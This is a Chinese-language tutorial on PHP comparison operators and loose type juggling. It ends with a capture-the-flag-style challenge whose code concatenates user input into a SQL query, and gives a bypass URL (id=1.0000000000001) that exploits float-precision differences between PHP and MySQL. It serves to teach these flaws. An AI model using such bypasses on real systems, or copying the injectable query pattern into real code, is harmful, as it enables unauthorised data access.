$a < $b 小与 TRUE ,如果   $a  严格小于   $b
$a > $b 大于 TRUE ,如果   $a  严格大于   $b
$a <= $b 小于等于 TRUE ,如果   $a  小于或者等于   $b
$a >= $b 大于等于 TRUE ,如果   $a  大于或者等于   $b

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于 switch 语句。当用 === 或 !== 进行比较时则不进行类型转换,因为此时类型和数值都要比对

<?php  var_dump(0 == "a"); // 0 == 0 -> true  var_dump("1" == "01"); // 1 == 1 -> true  var_dump("10" == "1e1"); // 10 == 10 -> true  var_dump(100 == "1e2"); // 100 == 100 -> true  switch ("a")   {  case 0:   echo "0";   break;  case "a": // never reached because "a" is already matched with 0   echo "a";   break;  } ?> 

需要注意的是,由于浮点数 float 的内部表达方式,不应比较两个浮点数是否相等

0x1: 精度不同的两个系统之间在进行浮点型比较存在的绕过风险

# GOAL: dump the info for the secret id require 'db.inc.php'; $id = @(float)$_GET['id']; $secretId = 1; if($id == $secretId) {  echo 'Invalid id ('.$id.').'; } else {  $query = 'SELECT * FROM users WHERE id = /''.$id.'/';';  $result = mysql_query($query);  $row = mysql_fetch_assoc($result);  echo "id: ".$row['id']."</br>";  echo "name:".$row['name']."</br>"; } http://php4fun.sinaapp.com/c3/index.php?id=1.0000000000001 

主要是利用php和mysql对float数字型支持的精度不同,精度小的会忽略不能支持的位数

Relevant Link:

http://php.net/manual/zh/language.operators.comparison.php http://drops.wooyun.org/papers/660

Copyright (c) 2015 LittleHann All rights reserved

正文到此结束
Loading...